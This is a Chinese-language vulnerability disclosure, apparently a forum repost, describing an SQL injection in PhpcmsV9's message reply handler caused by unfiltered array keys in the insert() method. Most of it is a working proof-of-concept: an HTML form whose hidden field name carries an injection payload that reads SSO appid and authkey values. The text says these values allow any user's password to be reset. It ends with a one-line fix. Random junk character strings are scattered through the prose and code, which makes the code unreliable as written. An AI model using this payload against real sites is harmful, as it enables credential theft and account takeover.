PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：
- o9 Y5 a- ^% [' y! |
第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。

7 g' B. ]5 U) d, E. b明天再更新下一个漏洞。
详细说明：
在/phpcms9/phpcms/modules/message/index.php中有代码如下：

: C1 I9 {8 ?5 C5 r6 U+ }8 o$messageid = $this->message_db->insert($_POST['info'],true);
! J$ q/ a$ L5 t* V/ F5 ^
, V8 G& i. s$ X0 {" G2 \
insert方法是key value的，代码如下：
! P- K" D  V, V
public function insert($data, $table, $return_insert_id = false, $replace = false) {
9 O# t( _8 \7 |( s                if(!is_array( $data ) || $table == '' || count($data) == 0) {
                        return false;
! C1 i7 s+ r9 B9 h                }
% b3 o8 Z1 V- L9 M% I9 O               
2 R! ?/ R( D& y, o1 G; v  G& }- {                $fielddata = array_keys($data);
                $valuedata = array_values($data);
) v7 j. Q! ?1 H% |  j/ B                array_walk($fielddata, array($this, 'add_special_char'));
7 i% D9 H- q) V0 j                array_walk($valuedata, array($this, 'escape_string'));
               
                $field = implode (',', $fielddata);
8 H, w- l, `/ ]7 @- _# s5 W                $value = implode (',', $valuedata);

                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
                $return = $this->execute($sql);
                return $return_insert_id ? $this->insert_id() : $return;
        }


嗯，很遗憾的是
, g3 M% W/ X" F/ x
array_walk($fielddata, array($this, 'add_special_char'));


) F% Q* Y6 X; F) |) e, e( m中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。

& m8 l" H; {3 F2 N: D" L, Q; z; ^到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。

漏洞证明：
3 @2 s  w2 |1 P; ]; ]0 H1 o读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。

1 J5 ?& a% @1 [0 X7 F' F# m7 O
$ G, [+ Z" l0 a3 e6 H2 y表单如下：用户名什么的得自己改一改。
" \& r8 h1 A( n: a. M; R<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
) H- Z2 n& ?2 z8 U& T<table width="100%" cellspacing="0" class="table_form">
<tr>
5 R, s! S# n# e+ G5 p# G  u* @<th>标 题：</th>
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
4 ]8 T2 q) T4 k. l% p</tr>
<tr>
4 B7 H8 |* {4 @- X. n, C! y<th>内 容：</th>
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
1 N& z7 a, F* r- m. R7 v* m2 M</tr>
* c) y/ l# x8 k0 ~4 Q8 |* Q<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
<!-- 漏洞的利用重点在这里开始 -->
2 V7 D) P) b. _, j<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- 漏洞的利用重点在这里结束 -->
1 _" A" c/ e# x- h<tr>
3 d  n/ d% l) F" T6 G<th>验证码：</th>
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% p; ^5 n9 R9 M- p8 h( ~</tr>
5 y! {) m' z! L, ?" [3 Z  \<tr>
7 V. H& O2 ^. q3 O0 T3 h3 W<td></td>
2 ]( D* A* d3 t3 X  k0 @2 m<td colspan="2"><label>
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
! c* @6 `3 S% I+ q: a% J</label></td>
</tr>
0 J" R8 n2 p: y" i</table>
- U) D# Y$ d6 a; u2 U$ c1 p</form>
. C- s) z* `: R% l/ O5 j  X7 ?在add_special_char函数内对key做过滤就可以了。
. W. F+ [4 x6 n( w1 K/ t: H
% G4 q; e6 c0 M% i: l